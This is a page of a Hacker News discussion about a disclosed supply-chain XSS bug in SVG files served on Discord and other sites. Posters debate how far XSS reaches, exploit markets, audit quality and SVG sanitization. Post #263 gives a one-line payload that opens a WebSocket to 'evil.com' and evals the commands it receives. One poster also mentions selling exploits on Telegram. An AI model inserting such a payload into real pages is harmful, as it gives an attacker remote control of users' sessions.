Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

gist.github.com

Post reply on HN
Print view View original

261–270 of 453 posts

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#261

Post by rvnx »

tptacek wrote: post #242
rvnx wrote: post #241

Earlier quoted context omitted.

There is a market outside Zerodium, it's Telegram. Finding a buyer takes time and trust, but it has definitively higher value than 4k USD because of its real-world impact, no matter if it is technically lower on the CVSS scores.

Really? Tell me a story about someone selling an XSS vulnerability on Telegram. ("The CVSS chart"?) Moments later Why do people keep bringing up "Zerodium" as if it's a thing?

I understand your perspective about the technical value of an exploit, but I disagree with the concept that technical value = market value.

There are unorganized buyers who may be interested if they see potential to weaponize it.

In reality, if you want to maximize revenue, yes, you need to organize your own heist (if that's what you meant)

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#262

Post by rainonmoon »

llmslave2 wrote: post #258
rainonmoon wrote: post #235

Earlier quoted context omitted.

XSS is categorically not an RCE and my point is that mitigations exist which make "It allows you to run any action as if you were the owner of the account" an unwarranted assumption. The writeup shows that it's possible to pop an alert box. That doesn't tell you anything about what's actually possible. Obviously Discord got enough information to take it seriously, but extrapolating that to suggest every third-party u…

How is XSS not remote code execution? You can do anything, from send fetch requests to the server with full credentials to loggging keystrokes or even open a tunnel and eval payloads... Anything the user can do, you can do via an XSS attack.

Show me where you can "open a tunnel" using the XSS in this post.

> Anything the user can do, you can do via an XSS attack.

I just explained why this isn't a reasonable assumption. You seem to have multiple fundamental misunderstandings about web application security so I don't think it's constructive for either of us to continue this conversation.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#263

Post by llmslave2 »

rainonmoon wrote: post #262
llmslave2 wrote: post #258

Earlier quoted context omitted.

How is XSS not remote code execution? You can do anything, from send fetch requests to the server with full credentials to loggging keystrokes or even open a tunnel and eval payloads... Anything the user can do, you can do via an XSS attack.

Show me where you can "open a tunnel" using the XSS in this post. > Anything the user can do, you can do via an XSS attack. I just explained why this isn't a reasonable assumption. You seem to have multiple fundamental misunderstandings about web application security so I don't think it's constructive for either of us to continue this conversation.

> Show me where you can "open a tunnel" using the XSS in this post.

   new WebSocket("ws://evil.com").addEventListener("message", e => eval(e.data))
> You seem to have multiple fundamental misunderstandings about web application security

Lol yeah sure buddy

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#265

Post by TheDong »

lowkey_ wrote: post #117
lrvick wrote: post #108

Earlier quoted context omitted.

We normally find things like this in our usual 60 hour audit blocks. Rates change over time with demand, but today an audit of that length would be $27k. Even that is quite cheap compared to letting a blackhat find this.

If I can ask on business model, as I have a friend with a similar predicament — what percent of the time do you find vulnerabilities in those audits? Do companies push back if you don't find vulnerabilities?

These companies almost always produce "vulnerabilities", but they're also almost always trash.

"Finding: This dependency is vulnerable to CVE-X, update it, severity S". And then of course that dependency is only used during development, the vulnerable code isn't called, and they didn't bother to dig into that.

"Finding: Server allows TLS version 1.1, while it's recommended to only support version 1.2+", yeah, sure, I'm sure that if someone has broken TLS 1.1, they're coming for me, not for the banks, google, governments, apple, etc, everyone else still using TLS 1.1

... So yeah, all the audits will have "findings", they'll mostly be total garbage, and they'll charge you for it. If you're competent, you aren't going to get an RCE or XSS out of a security audit since it simply will not be there.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#266

Post by jdironman »

poorman wrote: post #29
poorman wrote: post #20

Earlier quoted context omitted.

All SVGs should be properly sanitized going into a backend and out of it and when rendered on a page. Do you allow SVGs to be uploaded anywhere on your site? This is a PSA that you're probably at risk unless you can find the few hundred lines of code doing the sanitization. Note to Ruby on Rails developers, your active storage uploaded SVGs are not sanitized by default.

GitLab has some code in their repo if you want to see how to do it.

This is what they actually use: https://github.com/flavorjones/loofah

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#267

Post by llmslave2 »

rainonmoon wrote: post #260
rvnx wrote: post #252

Earlier quoted context omitted.

Well, llmslave2 is right. If discord.com executes javascript to conduct user actions, and you can execute javascript on discord.com, you are acting on the account as if you were discord.com

Except discord.com doesn't execute JavaScript, the user's browser does. These are meaningful distinctions that delineate the impact. You aren't "discord.com" if you target someone with an XSS exploit, you've only run a script in a user's session. Whether you can actually do anything with that script or not decides whether you can take over the account or not.

Everybody knows that XSS is a client side exploit, you're acting naive by pretending like we're claiming it gives access to a server and ignoring the fact that having control of the client gives you de facto control of whatever account is logged into the client.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#268

Post by panzi »

superasn wrote: post #128

This is a pretty scary exploit, considering how easily it could be abused. Imagine just one link in a tweet, support ticket, or email: https://discord.com/_mintlify/static/evil/exploit.svg . If you click it, JavaScript runs on the discord.com origin. Here's what could happen: - Your Discord session cookies and token could be stolen, leading to a complete account takeover. - read/write your developer applications & we…

> - Your Discord session cookies and token could be stolen, leading to a complete account takeover.

Discord uses HttpOnly cookies (except for the cookie consent banner).

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#269

Post by Blackthorn »

acheron wrote: post #181
ajross wrote: post #66

Earlier quoted context omitted.

Uh... Flash was a genuine firehose of security flaws. I mean, yeah, they patched them. So "battle tested security layer" isn't wrong in a technical sense. But, yikes, no.

The Flash revisionism I see around here occasionally is bizarre. No, Flash was terrible and killing it was good.

There is artistically no equivalent to Flash ever since it died. Nothing else has allowed someone with artistic skills but no programming skills to create animations and games to the same degree and with the same ease.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#270

Post by rvnx »

tptacek wrote: post #256
rvnx wrote: post #251

Earlier quoted context omitted.

Seems like none of these major websites detected anything, and they are supposed to be top-notch in the world. It's only because the researcher contacted them.

Also because nobody actively exploited them! You're using the word "detected" to mean "discovered", which nobody working in the field would ever do.

detected: WAF caught or detected the attack and raised an alert, post-exploitation

discovered: they audited or pentested themself and found out, preemptively

I just mean that Coinbase didn’t see anything happening and didn’t take action though the boy successfully exploited the vulnerability on their live system.

Post reply on HN